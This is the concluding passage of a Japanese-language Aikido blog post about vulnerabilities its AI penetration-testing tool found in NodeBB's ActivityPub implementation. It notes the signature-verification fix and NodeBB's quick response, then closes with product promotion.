この問題は、POSTリクエストの「Signature」ヘッダーを常に検証するようにすることで修正されました(8e98325)。

まとめ

AIの台頭に伴い、ペネトレーションテストのスピードはますます加速しています。通常のペンテストと同等の費用で、400人規模の小さなペネトレーションテスターチームを即座に雇い、自社のアプリケーションを検査してもらうことが可能になりました。開発者は迅速にコードをリリースし続けられる一方で、ペンテスト それに追随し、新機能のセキュリティ上の問題――たとえそれがごく些細で複雑なものであっても――をテストし続けます。 Aikidoでは、特定された脆弱性を是正するための「AutoFixes」と簡単な再テスト機能を提供しています。

NodeBBは私たちの報告に対して非常に迅速に対応してくれ、大変ありがたく思いました。いくつかの点について確認を求められましたが、修正内容についてフィードバックを行うことで、些細な抜け穴がないことを確認することができました。

最後に一つ、重要なポイントがあります。今回のペンテスト、ActivityPubの実装に多くの脆弱性が確認されましたが、これは他のアプリケーションにも一般化して適用できると考えられます。物事を行う方法が複数ある場合、最も一般的あるいは標準的な方法は厳重にセキュリティ対策が施されている一方で、代替手段にはバグが散見されることがよくあります。外部との連携や代替ルートについても、主要な方法と同様にセキュリティを確保するようにしてください!

当社のAIペネトレーションテストツールが、これを独自に発見しました。アプリケーションに対して高品質かつ迅速なペネトレーションテストを実施したい場合は、Aikidoペネトレーションテストスイートをご検討ください。

共有:

https://www.aikido.dev/blog/eight-high-severity-vulnerabilities-nodebb

マルウェアの検査

無料で始める
4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です。 | スキャン結果は32秒で表示されます。